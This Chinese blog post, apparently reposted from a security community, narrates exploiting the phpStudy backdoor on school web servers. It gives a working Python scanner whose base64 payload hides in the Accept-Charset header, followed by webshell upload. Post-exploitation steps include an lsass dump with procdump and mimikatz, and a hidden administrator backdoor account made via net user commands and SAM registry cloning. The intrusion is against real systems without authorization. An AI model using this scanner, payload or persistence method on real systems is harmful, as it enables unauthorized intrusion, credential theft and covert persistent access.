本文转自先知社区:
https://xz.aliyun.com/t/6563
前段时间 phpstudy 被爆出存在后门,想到学校里的许多站都是用 phpstudy 做的环境,于是写了个脚本扫描了下,发现真的有中招的。
来合天网安实验室做实验:
http://www.hetianlab.com/expc.do?ec=ECID1387-c383-454e-9448-6460e0f4581f
phpstudy 后门扫描
写了个简单的脚本。
import requests
import threading
# f = open("ip.txt",'w')
def test(ip):
url = "http://{}:80/index.php".format(ip)
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3", "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6", "Accept-Charset": "ZWNobyAiZGFvbGd0cyI7", "Accept-Encoding": "gzip,deflate", "Connection": "close"}
try:
r = requests.get(url, headers=headers)
if "daolgts" in r.content:
# f.write(ip+"\n")
print "[+] found\t"+ip
# else:
# print "[-] nope\t"+ip
except:
pass
# print "[-] nope\t"+ip
thread=[]
for _ in range(1,256):
print "[-] ip :"+_+"next..."
for i in range(1,256):
ip = "192.168."+str(_)+"."+str(i)
t=threading.Thread(target=test,args=(ip,))
thread.append(t)
t.start()
for x in thread:
t.join()
最后只有一个 ip 能够利用
根据 payload 可以执行任意的 php 代码
先 getcwd()
看下位置
var_dump(getcwd());
dmFyX2R1bXAoZ2V0Y3dkKCkpOw==
string(12) "C:\phpStudy2"
var_dump(scandir("C:\phpStudy2"));
var_dump(scandir("C:\phpStudy2\PHPTutorial"));
var_dump(scandir("C:\phpStudy2\PHPTutorial\WWW"));
找到网站目录 C:\phpStudy2\PHPTutorial\WWW
然后 file_put_contents
写个马
<p><span style="font-size: 15px; font-family: arial, helvetica, sans-serif;">找到网站目录 </span><code><span style="font-size: 15px; font-family: arial, helvetica, sans-serif;">C:\phpStudy2\PHPTutorial\WWW</span></code></p><p><span style="font-size: 15px; font-family: arial, helvetica, sans-serif;">然后 </span><code><span style="font-size: 15px; font-family: arial, helvetica, sans-serif;">file_put_contents</span></code><span style="font-size: 15px; font-family: arial, helvetica, sans-serif;"> 写个马</span></p>
这里使用了蚁剑的插件生成shell,配合蚁剑连接使用
成功连接
emmm,直接就是 administrator 了,也没有内网环境,后来发现是一台虚拟机,枯燥。。
看下端口
发现开启了 3306
和 9833
,3306
是 mysql ,这个 9833
应该就是修改了的 3389
的端口mysql 的密码在 config.php
中能找到,而且是 root 用户
使用蚁剑连接,在数据库中发现网站后台的管理员密码
然后目标转向 9983
kali 下使用 rdesktop 有问题
windows 里 mstsc.exe 可以正常连接
然后抓下密码,先传个 procdump64.exe
,执行
procdump64.exe -accepteula -ma lsass.exe 1.dmp
得到 1.dmp
,使用 mimikatz.exe
读
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
emmm,不知道为什么抓不到密码,也尝试了传 mimikatz.exe
直接读,同样失败
既然已经拿到了 administrator 权限,直接添加一个后门用户吧
net user defaultuser0$ somepasswordhere /add /y
net localgroup administrators defaultuser0$ /add
net localgroup "remote desktop users" defaultuser0$ /add
使用该账号密码,成功登录
用户名后添加 $
在 cmd 里使用 net user
查看时是可以隐藏的,但在图形界面下还是会显示
接下来操作注册表,使这个账户在图形界面中也不显示
输入 regedit
打开注册表编辑器,找到 HKEY_LOCAL_MACHINE\SAM\SAM
,右键点击权限,将读写权限赋予 administrator
找到后门用户和 administrator 用户对应的目录
将 administrator 对应目录中的F值复制到后门用户对应目录中的F值
复制完成后,把 defaultuser0$
和其对应的 0000003EA
目录导出并保存
然后删除刚才的后门用户
net user defaultuser0$ /del
然后重新导入注册表,这样就添加了一个隐藏的用户,使用 defaultuser0$
和密码就能登陆为 administrator
事后,发现登着 tim 呢,找到 qq 号,进行亲切友好的交谈
声明:作者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关。
别忘了投稿哦
大家有好的技术原创文章
欢迎投稿至邮箱:[email protected]
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦
有才能的你快来投稿吧!
了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!